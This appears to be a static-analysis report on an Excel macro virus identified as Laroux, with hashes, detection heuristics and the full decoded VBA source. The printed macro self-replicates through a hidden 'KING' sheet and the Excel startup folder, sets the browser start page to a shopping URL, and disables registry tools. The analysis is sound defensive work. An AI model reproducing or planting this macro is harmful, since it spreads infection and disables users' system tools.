Laroux — Office (OLE) malware analysis

Static analysis result for SHA-256 5a9ade1233db55a6…

MALICIOUS

Office (OLE)

325.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-26
MD5: 1526df04b6c8cf5d2f9a5d2aac634900 SHA-1: 9cb4f797fd481f6e7cc5caf4102a4ce5804fa38a SHA-256: 5a9ade1233db55a609f18f511c89bf70076070c9140f6fac583085619e8fb165
310 Risk Score

Malware Insights

Laroux · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The file is an Excel 5.0 spreadsheet containing VBA macros, specifically identified as the 'Laroux' macro-virus. It utilizes WScript.Shell and CreateObject, indicating an attempt to execute commands or scripts on the host system. The presence of 'auto_open' and 'OnSheetActivate' suggests automatic execution upon opening or interaction, aiming to achieve malicious objectives such as downloading further payloads or stealing information.

Heuristics 9

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set OperationRegistry = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set OperationRegistry = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://3azu.taobao.com In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4321 bytes
SHA-256: af9c05a19bd7b259b5d049631ef50ffa46f52b39cbab058fc599bc31194ac579
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub CheckBox1_Click()

End Sub

Private Sub CheckBox5_Click()

End Sub

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub CheckBox2_Click()

End Sub

Attribute VB_Name = "KING"




Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "KING.XLS") 'results
    If m$ = "KING.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    Sheets("KING").Visible = True
    Sheets("KING").Select
    Sheets("KING").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "KING.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("KING").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).name
    If s$ <> "KING" Then
        Workbooks("KING.XLS").Sheets("KING").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("KING").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case Else
End Select
Dim OperationRegistry
On Error Resume Next

Set OperationRegistry = CreateObject("WScript.Shell")
MyUrl = "http://3azu.taobao.com"
RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl
RegPath = "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl

RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
OperationRegistry.RegWrite RegPath, "1", "REG_DWORD"

Exit Sub   '正常运行的话会在这里退出程序

End Sub

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